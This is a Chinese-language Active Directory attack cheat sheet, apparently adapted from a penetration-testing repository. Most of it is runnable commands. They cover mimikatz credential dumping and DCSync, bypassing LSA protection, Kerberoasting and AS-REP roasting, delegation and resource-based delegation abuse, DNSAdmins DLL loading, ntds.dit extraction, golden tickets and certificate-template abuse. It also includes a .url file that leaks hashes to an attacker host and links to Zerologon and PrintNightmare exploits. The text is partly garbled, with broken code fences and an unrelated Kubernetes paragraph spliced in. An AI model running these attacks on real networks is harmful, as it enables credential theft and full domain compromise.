一份包含 Windows Active Directory 常见枚举和攻击方法的速查表。
此速查表包含 Windows Active Directory 的常见枚举和攻击方法。
ℹ️ 此仓库由 Nikos Katsiopis 和 Nikos Vourdas 创建。
此速查表灵感来源于 PayloadAllTheThings 仓库。

获取当前域: Get-Domain
枚举其他域: Get-Domain -Domain <域名>
获取域 SID: Get-DomainSID
获取域策略: ```powershell Get-DomainPolicy
#Will show us the policy configurations of the Domain about system access or kerberos Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess Get-DomainPolicy | Select-Object -ExpandProperty KerberosPolicy
获取域控制器: ```powershell Get-DomainController Get-DomainController -Domain
枚举域用户: ```powershell #Save all Domain Users to a file Get-DomainUser | Out-File -FilePath .\DomainUsers.txt
#Will return specific properties of a specific user Get-DomainUser -Identity [username] -Properties DisplayName, MemberOf | Format-List
#Enumerate user logged on a machine Get-NetLoggedon -ComputerName
#Enumerate Session Information for a machine Get-NetSession -ComputerName
#Enumerate domain machines of the current/specified domain where specific users are logged into Find-DomainUserLocation -Domain | Select-Object UserName, SessionFromName
枚举域计算机: ```powershell Get-DomainComputer -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName
#Enumerate Live machines Get-DomainComputer -Ping -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName
```powershell #Save all Domain Groups to a file: Get-DomainGroup | Out-File -FilePath .\DomainGroup.txt
❗ 通过用户狩猎提权到域管理员:
我有一台机器的本地管理员权限 -> 域管理员在该机器上有会话 -> 我窃取他的令牌并模拟他 -> 成功!
获取当前域: Get-ADDomain
枚举其他域: Get-ADDomain -Identity <Domain>
获取域SID: Get-DomainSID
获取域控制器: Get-DomainControlers ```powershell
Get-ADDomainController
Get-ADDomainController -Identity
枚举域用户: ```powershell Get-ADUser -Filter * -Identity -Properties *
#Get a specific "string" on a user's attribute Get-ADUser -Filter 'Description -like "wtver"' -Properties Description | select Name, Description
枚举域计算机: ```powershell Get-ADComputer -Filter * -Properties * Get-ADGroup -Filter *
枚举域信任: ```powershell Get-ADTrust -Filter * Get-ADTrust -Identity
枚举林信任: ```powershell Get-ADForest Get-ADForest -Identity
#Domains of Forest Enumeration (Get-ADForest).Domains
枚举本地AppLocker有效策略: ```powershell Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Python BloodHound 仓库 或使用 pip3 install bloodhound 安装```powershell
bloodhound-python -u -p -ns <Domain Controller's Ip> -d -c All
#### 本地 BloodHound```powershell
#Using exe ingestor
.\SharpHound.exe --CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --domain <Domain> --domaincontroller <Domain Controller's Ip> --OutputDirectory <PathToFile>
#Using PowerShell module ingestor
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --OutputDirectory <PathToFile>
./adalanche collect activedirectory --domain
--username Username@Domain --password
--server
./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb
./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb --tlsmode NoTLS --port 389
./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb --tlsmode NoTLS --port 389
--authmode basic
./adalanche analyze
#### 导出枚举的对象
你可以将任何模块/cmdlet 中枚举的对象导出到 XML 文件中,以便稍后进行分析。
`Export-Clixml` cmdlet 会创建对象或对象的公共语言基础结构 (CLI) 基于 XML 的表示形式,并将其存储在文件中。然后,你可以使用 `Import-Clixml` cmdlet 根据该文件的内容重新创建已保存的对象。```powershell
# Export Domain users to xml file.
Get-DomainUser | Export-CliXml .\DomainUsers.xml
# Later, when you want to utilise them for analysis even on any other machine.
$DomainUsers = Import-CliXml .\DomainUsers.xml
# You can now apply any condition, filters, etc.
$DomainUsers | select name
$DomainUsers | ? {$_.name -match "User's Name"}
Windows Local Privilege Escalation Cookbook Windows本地权限提升食谱
Juicy Potato 滥用SeImpersonate或SeAssignPrimaryToken权限模拟系统
⚠️ 仅适用于Windows Server 2016和Windows 10直到补丁1803
Lovely Potato 自动化Juicy Potato
⚠️ 仅适用于Windows Server 2016和Windows 10直到补丁1803
PrintSpoofer 利用打印机漏洞模拟系统
🙏 适用于Windows Server 2019和Windows 10
RoguePotato 升级版Juicy Potato
🙏 适用于Windows Server 2019和Windows 10
Abusing Token Privileges 利用令牌权限进行Windows本地权限提升
#Enable PowerShell Remoting on current Machine (Needs Admin Access) Enable-PSRemoting
#Entering or Starting a new PSSession (Needs Admin Access) $sess = New-PSSession -ComputerName Enter-PSSession -ComputerName OR -Sessions
### 使用PS凭据进行远程代码执行```powershell
$SecPassword = ConvertTo-SecureString '<Wtver>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\<WtverUser>', $SecPassword)
Invoke-Command -ComputerName <WtverMachine> -Credential $Cred -ScriptBlock {whoami}
#Execute the command and start a session Invoke-Command -Credential $cred -ComputerName -FilePath c:\FilePath\file.ps1 -Session $sess
#Interact with the session Enter-PSSession -Session $sess
### 执行远程有状态命令```powershell
#Create a new session
$sess = New-PSSession -ComputerName <NameOfComputer>
#Execute command on the session
Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}
#Check the result of the command to confirm we have an interactive session
Invoke-Command -Session $sess -ScriptBlock {$ps}
#The commands are in cobalt strike format!
#Dump LSASS: mimikatz privilege::debug mimikatz token::elevate mimikatz sekurlsa::logonpasswords
#(Over) Pass The Hash mimikatz privilege::debug mimikatz sekurlsa::pth /user: /ntlm:<> /domain:
#List all available kerberos tickets in memory mimikatz sekurlsa::tickets
#Dump local Terminal Services credentials mimikatz sekurlsa::tspkg
#Dump and save LSASS in a file mimikatz sekurlsa::minidump c:\temp\lsass.dmp
#List cached MasterKeys mimikatz sekurlsa::dpapi
#List local Kerberos AES Keys mimikatz sekurlsa::ekeys
#Dump SAM Database mimikatz lsadump::sam
#Dump SECRETS Database mimikatz lsadump::secrets
#Inject and dump the Domain Controler's Credentials mimikatz privilege::debug mimikatz token::elevate mimikatz lsadump::lsa /inject
#Dump the Domain's Credentials without touching DC's LSASS and also remotely mimikatz lsadump::dcsync /domain: /all
#Dump old passwords and NTLM hashes of a user mimikatz lsadump::dcsync /user:<user> /history
#List and Dump local kerberos credentials mimikatz kerberos::list /dump
#Pass The Ticket mimikatz kerberos::ptt
#List TS/RDP sessions mimikatz ts::sessions
#List Vault credentials mimikatz vault::list
:exclamation: 如果 mimikatz 因为 LSA 保护控制而无法转储凭据怎么办?
- LSA 作为受保护进程(内核层面绕过) ```powershell
#Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa
#Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe
#Now lets import the mimidriver.sys to the system
mimikatz # !+
#Now lets remove the protection flags from lsass.exe process
mimikatz # !processprotect /process:lsass.exe /remove
#Finally run the logonpasswords function to dump lsass
mimikatz # sekurlsa::logonpasswords
LSA 作为受保护进程(用户态“无文件”绕过)
LSA 通过 Credential Guard 作为虚拟化进程 (LSAISO) 运行 ```powershell #Check if a process called lsaiso.exe exists on the running processes tasklist |findstr lsaiso
#If it does there isn't a way tou dump lsass, we will only get encrypted data. But we can still use keyloggers or clipboard dumpers to capture data. #Lets inject our own malicious Security Support Provider into memory, for this example i'll use the one mimikatz provides mimikatz # misc::memssp
#Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log
如果我们要横向移动的目标主机启用了 RestrictedAdmin,我们可以使用 RDP 协议传递哈希,无需明文密码即可获得交互式会话。
Mimikatz: ```powershell #We execute pass-the-hash using mimikatz and spawn an instance of mstsc.exe with the "/restrictedadmin" flag privilege::debug sekurlsa::pth /user: /domain: /ntlm: /run:"mstsc.exe /restrictedadmin"
#Then just click ok on the RDP dialogue and enjoy an interactive session as the user we impersonated
xFreeRDP:```powershell xfreerdp +compression +clipboard /dynamic-resolution +toggle-fullscreen /cert-ignore /bpp:8 /u: /pth: /v:<Hostname | IPAddress>
:exclamation: 如果在远程机器上禁用了受限管理员模式,我们可以使用其他工具/协议(如psexec或winrm)连接到主机,并通过创建以下注册表项并将其值设置为零来启用它:"HKLM:\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin"。
- 绕过“单用户单会话”限制
在域计算机上,如果你以系统或本地管理员身份拥有命令执行权限,并且希望获取另一个用户已在使用的RDP会话,可以通过添加以下注册表项来绕过单一会话限制:```powershell
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUser /t REG_DWORD /d 0
一旦完成了所需的操作,你可以删除密钥以恢复每个用户单会话的限制。```powershell REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUse
### URL 文件攻击
- .url 文件 ```
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\<AttackersIp>\%USERNAME%.icon
IconIndex=1
Kubestriker 对大量快速执行的平台执行众多深入分析,帮助安全专业人员在更紧迫的时间内识别配置缺陷。它不仅执行自动扫描,还提供精确的渗透测试能力。
渗透测试人员可能会发现它的数据捕获非常有帮助,因为 Kubestriker 枚举了攻击面的所有相关安全缺陷。一个递归式扫描程序准确地抓取、扫描和解析各种执行平台。
借助一个简单的选项对不同的容器执行平台执行扫描:
python3 kubestriker.py
``` ```
[InternetShortcut]
URL=file://<AttackersIp>/leak/leak.html
将这些文件放在可写共享中,受害者只需打开文件资源管理器并导航到该共享。注意,文件不需要被打开或用户与之交互,但它必须位于文件系统的顶层或仅在Windows资源管理器窗口中可见才能被渲染。使用responder来捕获哈希。
❗ .scf 文件攻击在最新版本的Windows上不起作用。
这是什么?:
所有标准域用户可以请求所有服务账户及其相关密码哈希的副本,因此我们可以请求任何绑定到“用户”账户的SPN的TGS,提取使用用户密码加密的加密blob,并在离线状态下进行暴力破解。
PowerView: ```powershell #Get User Accounts that are used as Service Accounts Get-NetUser -SPN
#Get every available SPN account, request a TGS and dump its hash Invoke-Kerberoast
#Requesting the TGS for a single account: Request-SPNTicket
#Export all tickets using Mimikatz Invoke-Mimikatz -Command '"kerberos::list /export"'
AD模块: ```powershell #Get User Accounts that are used as Service Accounts Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Impacket: ```powershell python GetUserSPNs.py /: -outputfile
Rubeus: ```powershell #Kerberoasting and outputing on a file with a specific format Rubeus.exe kerberoast /outfile: /domain:
#Kerberoasting whle being "OPSEC" safe, essentially while not try to roast AES enabled accounts Rubeus.exe kerberoast /outfile: /domain: /rc4opsec
#Kerberoast AES enabled accounts Rubeus.exe kerberoast /outfile: /domain: /aes
#Kerberoast specific user account Rubeus.exe kerberoast /outfile: /domain: /user: /simple
#Kerberoast by specifying the authentication credentials Rubeus.exe kerberoast /outfile: /domain: /creduser: /credpassword:
这是什么?:
如果某个域用户帐户不需要 Kerberos 预认证,我们可以在没有域凭据的情况下请求该帐户的有效 TGT,提取加密的 blob 并离线暴力破解。
Get-DomainUser -PreauthNotRequired -VerboseGet-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth强制禁用拥有写入权限或更高权限的帐户的 Kerberos 预认证! 检查对帐户的有趣权限:
提示: 我们添加一个过滤器,例如 RDPUsers,以获取“用户帐户”而非“计算机帐户”,因为计算机帐户的哈希无法破解!
PowerView:```powershell Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"} Disable Kerberos Preauth: Set-DomainObject -Identity -XOR @{useraccountcontrol=4194304} -Verbose Check if the value changed: Get-DomainUser -PreauthNotRequired -Verbose
- 最后,使用 [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast) 工具执行攻击。 ```powershell
#Get a specific Accounts hash:
Get-ASREPHash -UserName <UserName> -Verbose
#Get any ASREPRoastable Users hashes:
Invoke-ASREPRoast -Verbose
使用 Rubeus: ```powershell #Trying the attack for all domain users Rubeus.exe asreproast /format:<hashcat|john> /domain: /outfile:
#ASREPRoast specific user Rubeus.exe asreproast /user: /format:<hashcat|john> /domain: /outfile:
#ASREPRoast users of a specific OU (Organization Unit) Rubeus.exe asreproast /ou: /format:<hashcat|john> /domain: /outfile:
使用 Impacket: ```powershell #Trying the attack for the specified users on the file python GetNPUsers.py <domain_name>/ -usersfile <users_file> -outputfile
如果我们通过入侵用户账户获取了一些密码,就可以尝试此方法来利用其他域账户上的密码重用。
工具:
这是什么?: 如果我们拥有足够的权限(例如 GenericAll/GenericWrite),可以在目标账户上设置SPN,请求TGS,然后获取其blob并暴力破解。
PowerView: ```powershell #Check for interesting permissions on accounts: Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
#Check if current user has already an SPN setted: Get-DomainUser -Identity | select serviceprincipalname
#Force set the SPN on the account: Set-DomainObject -Set @{serviceprincipalname='ops/whatever1'}
AD模块: ```powershell #Check if current user has already an SPN setted Get-ADUser -Identity -Properties ServicePrincipalName | select ServicePrincipalName
#Force set the SPN on the account: Set-ADUser -Identiny -ServicePrincipalNames @{Add='ops/whatever1'}
最后使用之前的任何工具获取哈希并进行Kerberoast攻击!
如果你在机器上拥有本地管理员访问权限,尝试列出卷影副本,这是实现域提权的简单方法。```powershell #List shadow copies using vssadmin (Needs Admnistrator Access) vssadmin list shadows
#List shadow copies using diskshadow diskshadow list shadows all
#Make a symlink to the shadow copy and access it mklink /d c:\shadowcopy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
1. 你可以导出备份的SAM数据库并获取凭据。
2. 查找DPAPI存储的凭据并解密它们。
3. 访问备份的敏感文件。
### 使用Mimikatz列出并解密存储的凭据
通常加密的凭据存储在:
- `%appdata%\Microsoft\Credentials`
- `%localappdata%\Microsoft\Credentials````powershell
#By using the cred function of mimikatz we can enumerate the cred object and get information about it:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"
#From the previous command we are interested to the "guidMasterKey" parameter, that tells us which masterkey was used to encrypt the credential
#Lets enumerate the Master Key:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>"
#Now if we are on the context of the user (or system) that the credential belogs to, we can use the /rpc flag to pass the decryption of the masterkey to the domain controler:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>" /rpc
#We now have the masterkey in our local cache:
dpapi::cache
#Finally we can decrypt the credential using the cached masterkey:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"
详细文章:DPAPI 所有内容
这是什么?:如果我们对启用了无约束委派的机器拥有管理权限,我们可以等待高价值目标或 DA 连接到该机器,窃取其 TGT,然后进行 ptt 并模拟他!
使用 PowerView:```powershell #Discover domain joined computers that have Unconstrained Delegation enabled Get-NetComputer -UnConstrained
#List tickets and check if a DA or some High Value target has stored its TGT Invoke-Mimikatz -Command '"sekurlsa::tickets"'
#Command to monitor any incoming sessions on our compromised server Invoke-UserHunter -ComputerName -Poll -UserName -Delay -Verbose
#Dump the tickets to disk: Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
#Impersonate the user using ptt attack: Invoke-Mimikatz -Command '"kerberos::ptt "'
**注意:** 我们也可以使用 Rubeus!
### 约束委派
使用 PowerView 和 Kekeo:```powershell
#Enumerate Users and Computers with constrained delegation
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
#If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeo
tgt::ask /user:<UserName> /domain:<Domain's FQDN> /rc4:<hashedPasswordOfTheUser>
#Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegation
tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain's FQDN> /service:<Service's SPN>
#Finally use mimikatz to ptt the TGS
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTGS>"'
替代方案: 使用Rubeus:```powershell Rubeus.exe s4u /user: /rc4: /impersonateuser: /msdsspn:"<Service's SPN>" /altservice: /ptt
现在我们可以以模拟用户的身份访问该服务!
:triangular_flag_on_post: **如果我们只对特定SPN(例如TIME)拥有委派权限怎么办?**
在这种情况下,我们仍然可以滥用Kerberos的一个特性,称为“替代服务”。这允许我们请求其他“替代”服务的TGS票据,而不仅仅是我们有权访问的服务。这使我们能够为宿主支持的任何服务请求有效票据,从而完全控制目标机器。
### 基于资源的约束委派
_这是什么?: \
TL;DR \
如果我们在域中某个机器账户对象上拥有GenericALL/GenericWrite权限,我们可以滥用它并模拟域中的任何用户到该机器。例如,我们可以模拟域管理员并获得完全访问权限。_
我们将使用的工具:
- [PowerView](https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon)
- [Powermad](https://github.com/Kevin-Robertson/Powermad)
- [Rubeus](https://github.com/GhostPack/Rubeus)
首先,我们需要进入拥有该对象权限的用户/机器账户的安全上下文。如果是用户账户,我们可以使用哈希传递、RDP、PSCredentials等。
利用示例:```powershell
#Import Powermad and use it to create a new MACHINE ACCOUNT
. .\Powermad.ps1
New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose
#Import PowerView and get the SID of our new created machine account
. .\PowerView.ps1
$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid | Select -Expand objectsid
#Then by using the SID we are going to build an ACE for the new created machine account using a raw security descriptor:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
#Next, we need to set the security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking over, again using PowerView
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
#After that we need to get the RC4 hash of the new machine account's password using Rubeus
Rubeus.exe hash /password:'p@ssword!'
#And for this example, we are going to impersonate Domain Administrator on the cifs service of the target computer using Rubeus
Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt
#Finally we can access the C$ drive of the target machine
dir \\TargetMachine.wtver.domain\C$
详细文章:
❗ 在约束委派和基于资源的约束委派中,如果我们没有试图滥用的具有 TRUSTED_TO_AUTH_FOR_DELEGATION 属性的账户的密码/哈希,我们可以使用来自 kekeo 的非常巧妙的技巧 "tgt::deleg" 或来自 rubeus 的 "tgtdeleg",欺骗 Kerberos 为我们提供该账户的有效 TGT。然后我们只需使用该票据而不是账户的哈希来执行攻击。```powershell #Command on Rubeus Rubeus.exe tgtdeleg /nowrap
详细文章:
[Rubeus – Now With More Kekeo](https://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/)
### DNSAdmins 滥用
_这是什么?:如果用户是 DNSAdmins 组的成员,则可能以 SYSTEM 权限加载任意 DLL(dns.exe 的权限)。如果域控服务器提供 DNS 服务,该用户可以将权限提升至域管理员。此利用过程需要重启 DNS 服务才能生效。_
1. 枚举 DNSAdmins 组的成员:
- PowerView:`Get-NetGroupMember -GroupName "DNSAdmins"`
- AD 模块:`Get-ADGroupMember -Identiny DNSAdmins`
2. 找到该组成员后,需要先攻陷该账户(方法有很多种)。
3. 然后在 SMB 共享上托管恶意 DLL,并配置该 DLL 的使用,即可提升权限: ```powershell
#Using dnscmd:
dnscmd <NameOfDNSMAchine> /config /serverlevelplugindll \\Path\To\Our\Dll\malicious.dll
#Restart the DNS Service:
sc \\DNSServer stop dns
sc \\DNSServer start dns
这是什么?:如果我们成功入侵了属于 Backup Operators 组的用户账户,就可以利用其 SeBackupPrivilege 权限创建当前 DC 状态的卷影副本,提取 ntds.dit 数据库文件,导出哈希值,并将权限提升至 DA。
一旦我们获得了具有 SeBackupPrivilege 权限的账户访问权,就可以访问 DC,并使用签名二进制文件 diskshadow 创建卷影副本: ```powershell #Create a .txt file that will contain the shadow copy process script Script ->{ set context persistent nowriters set metadata c:\windows\system32\spool\drivers\color\example.cab set verbose on begin backup add volume c: alias mydrive
create
expose %mydrive% w: end backup }
#Execute diskshadow with our script as parameter diskshadow /s script.txt
接下来我们需要访问卷影副本,我们可能拥有 SeBackupPrivilege 权限,但不能直接 复制 ntds.dit,我们需要模拟备份软件并使用 Win32 API 调用将其复制到一个可访问的文件夹。为此,我们将 使用这个优秀的仓库: ```powershell #Importing both dlls from the repo using powershell Import-Module .\SeBackupPrivilegeCmdLets.dll Import-Module .\SeBackupPrivilegeUtils.dll
#Checking if the SeBackupPrivilege is enabled Get-SeBackupPrivilege
#If it isn't we enable it Set-SeBackupPrivilege
#Use the functionality of the dlls to copy the ntds.dit database file from the shadow copy to a location of our choice Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:<PathToSave>\ntds.dit -Overwrite
#Dump the SYSTEM hive reg save HKLM\SYSTEM c:\temp\system.hive
使用 impacket 中的 smbclient.py 或其他工具,将 ntds.dit 和 SYSTEM 配置单元复制到本地机器。
使用 impacket 中的 secretsdump.py 并转储哈希值。
使用 psexec 或其他你选择的工具进行 PTH,获取域管理员访问权限。
这是什么?:如果我们成功攻破了某个森林的子域,并且 SID filtering 未启用(通常如此),我们就可以利用这一点来将权限提升到该森林根域的域管理员。这是因为 Kerberos TGT 票据中的 SID History 字段定义了“额外”的安全组和权限。
利用示例:```powershell #Get the SID of the Current Domain using PowerView Get-DomainSID -Domain current.root.domain.local
#Get the SID of the Root Domain using PowerView Get-DomainSID -Domain root.domain.local
#Create the Enteprise Admins SID Format: RootDomainSID-519
#Forge "Extra" Golden Ticket using mimikatz kerberos::golden /user:Administrator /domain:current.root.domain.local /sid: /krbtgt: /sids: /startoffset:0 /endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi
#Inject the ticket into memory kerberos::ptt \path\to\ticket\golden.kirbi
#List the DC of the Root Domain dir \dc.root.domain.local\C$
#Or DCsync and dump the hashes using mimikatz lsadump::dcsync /domain:root.domain.local /all
详细文章:
- [Kerberos黄金票据现在更加强大](https://adsecurity.org/?p=1640)
- [攻击域信任指南](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)
### 利用SharePoint
- [CVE-2019-0604](https://medium.com/@gorkemkaradeniz/sharepoint-cve-2019-0604-rce-exploitation-ab3056623b7d) RCE利用 \
[PoC](https://github.com/k8gege/CVE-2019-0604)
- [CVE-2019-1257](https://www.zerodayinitiative.com/blog/2019/9/18/cve-2019-1257-code-execution-on-microsoft-sharepoint-through-bdc-deserialization) 通过BDC反序列化执行代码
- [CVE-2020-0932](https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters) 使用类型转换器的远程代码执行 \
[PoC](https://github.com/thezdi/PoC/tree/master/CVE-2020-0932)
### Zerologon
- [Zerologon: 未认证的域控制器攻陷](https://www.secura.com/whitepapers/zerologon-whitepaper):该漏洞的白皮书
- [SharpZeroLogon](https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon):Zerologon利用的C#实现
- [Invoke-ZeroLogon](https://github.com/BC-SECURITY/Invoke-ZeroLogon):Zerologon利用的PowerShell实现
- [Zer0Dump](https://github.com/bb00/zer0dump):使用impacket库的Python实现的Zerologon利用
### PrintNightmare
- [CVE-2021-34527](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34527):漏洞详情
- [Impacket实现PrintNightmare](https://github.com/cube0x0/CVE-2021-1675):使用impacket库的PrintNightmare可靠PoC
- [CVE-2021-1675的C#实现](https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare):用C#编写的PrintNightmare可靠PoC
### Active Directory证书服务
**使用以下工具检查易受攻击的证书模板:** [Certify](https://github.com/GhostPack/Certify)
_注意:Certify也可以使用Cobalt Strike的`execute-assembly`命令执行_```powershell
.\Certify.exe find /vulnerable /quiet
确保 msPKI-Certificates-Name-Flag 值设置为 "ENROLLEE_SUPPLIES_SUBJECT",并且注册权限允许 Domain/Authenticated Users。此外,检查 pkiextendedkeyusage 参数是否包含 "Client Authentication" 值,以及 "Authorized Signatures Required" 参数是否设置为 0。
此漏洞利用之所以有效,是因为这些设置启用了服务器/客户端身份验证,这意味着攻击者可以指定域管理员("DA")的 UPN,并使用捕获的证书配合 Rubeus 来伪造身份验证。
注意:如果域管理员处于 Protected Users 组中,该利用可能无法按预期工作。在选择要攻击的 DA 之前,请先检查。
使用 Certify 请求 DA 的账户证书```powershell .\Certify.exe request /template:
#Return members of Specific Group (eg. Domain Admins & Enterprise Admins) Get-DomainGroup -Identity '' | Select-Object -ExpandProperty Member Get-DomainGroupMember -Identity '' | Select-Object MemberDistinguishedName
#Enumerate the local groups on the local (or remote) machine. Requires local admin rights on the remote machine Get-NetLocalGroup | Select-Object GroupName
#Enumerates members of a specific local group on the local (or remote) machine. Also requires local admin rights on the remote machine Get-NetLocalGroupMember -GroupName Administrators | Select-Object MemberName, IsGroup, IsDomain
#Return all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
枚举共享: ```powershell #Enumerate Domain Shares Find-DomainShare
#Enumerate Domain Shares the current user has access Find-DomainShare -CheckShareAccess
#Enumerate "Interesting" Files on accessible shares Find-InterestingDomainShareFile -Include passwords
枚举组策略: ```powershell Get-DomainGPO -Properties DisplayName | Sort-Object -Property DisplayName
#Enumerate all GPOs to a specific computer Get-DomainGPO -ComputerIdentity -Properties DisplayName | Sort-Object -Property DisplayName
#Get users that are part of a Machine's local Admin group Get-DomainGPOComputerLocalGroupMapping -ComputerName
枚举 OU: ```powershell Get-DomainOU -Properties Name | Sort-Object -Property Name
**枚举 ACLs: ```powershell
Get-DomainObjectAcl -Identity -ResolveGUIDs
#Search for interesting ACEs Find-InterestingDomainAcl -ResolveGUIDs
#Check the ACLs associated with a specified path (e.g smb share) Get-PathAcl -Path "\Path\Of\A\Share"
枚举域信任: ```powershell Get-DomainTrust Get-DomainTrust -Domain
#Enumerate all trusts for the current domain and then enumerates all trusts for each domain it finds Get-DomainTrustMapping
枚举森林信任: ```powershell Get-ForestDomain Get-ForestDomain -Forest
#Map the Trust of the Forest Get-ForestTrust Get-ForestTrust -Forest
用户追踪: ```powershell #Finds all machines on the current domain where the current user has local admin access Find-LocalAdminAccess -Verbose
#Find local admins on all machines of the domain Find-DomainLocalGroupMember -Verbose
#Find computers were a Domain Admin OR a specified user has a session Find-DomainUserLocation | Select-Object UserName, SessionFromName
#Confirming admin access Test-AdminAccess